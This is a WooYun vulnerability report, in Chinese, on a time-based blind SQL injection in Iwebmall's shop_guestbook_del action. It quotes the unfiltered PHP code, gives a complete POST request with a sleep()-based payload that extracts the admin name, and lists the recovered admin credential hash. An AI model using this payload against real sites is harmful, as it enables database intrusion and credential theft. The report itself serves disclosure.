当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-086853

漏洞标题：Iwebmall 最新版SQL注入第五枚

相关厂商：Jooyea

漏洞作者： 路人甲

提交时间：2014-12-12 15:55

修复时间：2015-03-12 15:56

公开时间：2015-03-12 15:56

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-12： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-03-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

Iwebmall 最新版SQL注入第五枚

详细说明：

看到wooyun上有人提了几个iweb的漏洞（ WooYun: iwebmall商城程序sql注入 ， WooYun: Iwebsns sql 第五枚。 ），我来捡捡漏儿吧，希望不要重复。
先把注入点拿出来：www.xxx.com/do.php?act=shop_guestbook_del ，POST的内容中有个参数favorite_shop，存在注入。
action/shop/guestbook_del.action.php

无关代码
//数据库操作
dbtarget('w',$dbServs);
$dbo=new dbex();
//定义文件表
$t_shop_guestbook = $tablePreStr."shop_guestbook";
// 处理post变量
if(empty($_POST)){
	$gid = intval(get_args('id'));
}else{
	$guest=get_args('guest');
	if (!$guest){
		action_return(1,$m_langpackage->m_del_select,'modules.php?app=shop_guestbook');
	}
	$gid=implode(',',$guest);
}
$del = del_shop_guestbook($dbo,$t_shop_guestbook,$gid,$shop_id);
if($del) {
	action_return(1,$m_langpackage->m_del_success);
} else {
	action_return(0,$m_langpackage->m_del_fail,'-1');
}
exit;
无关代码


当通过POST方法提交$guest时，由于没有对$guest进行过滤，因此这里可以注入。Iweb没有错误回显，这里用time-based blind进行注入测试。
Payload:

POST /do.php?act=shop_guestbook_del HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://192.168.0.107/modules.php?app=user_favorite
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 192.168.0.107
Content-Length: 184
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: AJSTAT_ok_times=1; PHPSESSID=c8hhcsboh7fk3c43co6ik5m796; iweb_iweb_login=pigtest
guest%5B%5D=1) or (select if(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1)='z',sleep(3),0)) and (1)=(1
&deletesubmit=%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4


测试时：登陆后访问如上的请求，抓包，按上面的payload进行修改即可。这里注意，guest的值随便写一个值，本例为1。
因为是time-based blind 注入，猜测管理员用户名的第三个字母时，若错误，延迟2s左右，如下图

猜测错误副本.jpg


若正确，延迟5s左右，如下图

猜测正确副本.jpg


按上面的方法依次做下去（burp intruder或者自己写个脚本跑），可测试管理员用户名为：admin，密码为： 21232f297a57a5a743894a0e4a801fc3

漏洞证明：

见 详细说明

修复方案：

intval

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论